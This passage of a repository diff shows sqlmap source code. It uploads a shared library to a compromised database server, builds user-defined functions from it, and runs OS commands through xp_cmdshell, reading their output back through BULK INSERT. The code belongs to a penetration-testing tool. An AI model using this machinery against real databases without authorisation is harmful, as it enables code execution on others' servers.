|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfSetRemotePath(self):
|
||||
errMsg = "udfSetRemotePath() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCmd(self):
|
||||
errMsg = "udfInjectCmd() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def udfInjectCore(self, udfDict):
|
||||
for udf in udfDict.keys():
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
self.udfCheckAndOverwrite(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
self.udfSetRemotePath()
|
||||
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
if udf in self.udfToCreate and udf not in self.createdUdf:
|
||||
self.udfCreateFromSharedLib(udf, inpRet)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
supportTblType = "longtext"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
supportTblType = "text"
|
||||
|
||||
self.udfCreateSupportTbl(supportTblType)
|
||||
|
||||
|
||||
def udfInjectCustom(self):
|
||||
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
|
||||
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if self.isDba() == False:
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not conf.shLib:
|
||||
msg = "which is the local path of the shared library? "
|
||||
|
||||
while True:
|
||||
self.udfLocalFile = readInput(msg)
|
||||
|
||||
if self.udfLocalFile:
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the local path of the shared library")
|
||||
else:
|
||||
self.udfLocalFile = conf.shLib
|
||||
|
||||
if not os.path.exists(self.udfLocalFile):
|
||||
errMsg = "the specified shared library file does not exist"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
|
||||
errMsg = "shared library file must end with '.dll' or '.so'"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
|
||||
errMsg = "you provided a shared object as shared library, but "
|
||||
errMsg += "the database underlying operating system is Windows"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
|
||||
errMsg = "you provided a dynamic-link library as shared library, "
|
||||
errMsg += "but the database underlying operating system is Linux"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||
|
||||
msg = "how many user-defined functions do you want to create "
|
||||
msg += "from the shared library? "
|
||||
|
||||
while True:
|
||||
udfCount = readInput(msg, default=1)
|
||||
|
||||
if isinstance(udfCount, str) and udfCount.isdigit():
|
||||
udfCount = int(udfCount)
|
||||
|
||||
if udfCount <= 0:
|
||||
logger.info("nothing to inject then")
|
||||
return
|
||||
else:
|
||||
break
|
||||
|
||||
elif isinstance(udfCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
for x in range(0, udfCount):
|
||||
while True:
|
||||
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||
udfName = readInput(msg)
|
||||
|
||||
if udfName:
|
||||
self.udfs[udfName] = {}
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the name of the UDF")
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
defaultType = "string"
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
defaultType = "text"
|
||||
|
||||
self.udfs[udfName]["input"] = []
|
||||
|
||||
default = 1
|
||||
msg = "how many input parameters takes UDF "
|
||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||
|
||||
while True:
|
||||
parCount = readInput(msg, default=default)
|
||||
|
||||
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
|
||||
parCount = int(parCount)
|
||||
break
|
||||
|
||||
elif isinstance(parCount, int):
|
||||
break
|
||||
|
||||
else:
|
||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||
|
||||
for y in range(0, parCount):
|
||||
msg = "what is the data-type of input parameter "
|
||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||
|
||||
while True:
|
||||
parType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(parType, str) and parType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the parameter")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["input"].append(parType)
|
||||
break
|
||||
|
||||
msg = "what is the data-type of the return "
|
||||
msg += "value? (default: %s) " % defaultType
|
||||
|
||||
while True:
|
||||
retType = readInput(msg, default=defaultType)
|
||||
|
||||
if isinstance(retType, str) and retType.isdigit():
|
||||
logger.warn("you need to specify the data-type of the return value")
|
||||
|
||||
else:
|
||||
self.udfs[udfName]["return"] = retType
|
||||
break
|
||||
|
||||
self.udfInjectCore(self.udfs)
|
||||
|
||||
msg = "do you want to call your injected user-defined "
|
||||
msg += "functions now? [Y/n/q] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ( "y", "Y" ):
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
return
|
||||
|
||||
while True:
|
||||
udfList = []
|
||||
msg = "which UDF do you want to call?"
|
||||
|
||||
for udf, inpRet in self.udfs.items():
|
||||
udfList.append(udf)
|
||||
msg += "\n[%d] %s" % (len(udfList), udf)
|
||||
|
||||
msg += "\n[q] Quit"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg)
|
||||
|
||||
if choice[0] in ( "q", "Q" ):
|
||||
break
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, only digits >= 1 and "
|
||||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
cmd = ""
|
||||
count = 1
|
||||
udfToCall = udfList[choice - 1]
|
||||
|
||||
for inp in self.udfs[udfToCall]["input"]:
|
||||
msg = "what is the value of the parameter number "
|
||||
msg += "%d (data-type: %s)? " % (count, inp)
|
||||
|
||||
while True:
|
||||
parValue = readInput(msg)
|
||||
|
||||
if parValue:
|
||||
if "int" not in inp and "bool" not in inp:
|
||||
parValue = "'%s'" % parValue
|
||||
|
||||
cmd += "%s," % parValue
|
||||
|
||||
break
|
||||
else:
|
||||
logger.warn("you need to specify the value of the parameter")
|
||||
|
||||
count += 1
|
||||
|
||||
cmd = cmd[:-1]
|
||||
msg = "do you want to retrieve the return value of the "
|
||||
msg += "UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] in ("y", "Y"):
|
||||
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||
|
||||
if output:
|
||||
dumper.string("return value", output)
|
||||
else:
|
||||
print "No return value"
|
||||
else:
|
||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||
|
||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||
choice = readInput(msg, default="Y")
|
||||
|
||||
if choice[0] not in ("y", "Y"):
|
||||
break
|
||||
|
||||
self.cleanup(udfDict=self.udfs)
|
||||
|
||||
@@ -134,20 +134,20 @@ class xp_cmdshell:
|
||||
inject.goStacked(cmd, silent)
|
||||
|
||||
|
||||
def xpCmdshellEvalCmd(self, cmd):
|
||||
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
||||
self.getRemoteTempPath()
|
||||
|
||||
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
|
||||
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
|
||||
self.xpCmdshellExecCmd(cmd)
|
||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
|
||||
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
|
||||
self.delRemoteTempFile(tmpFile)
|
||||
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
||||
Reference in New Issue
Block a user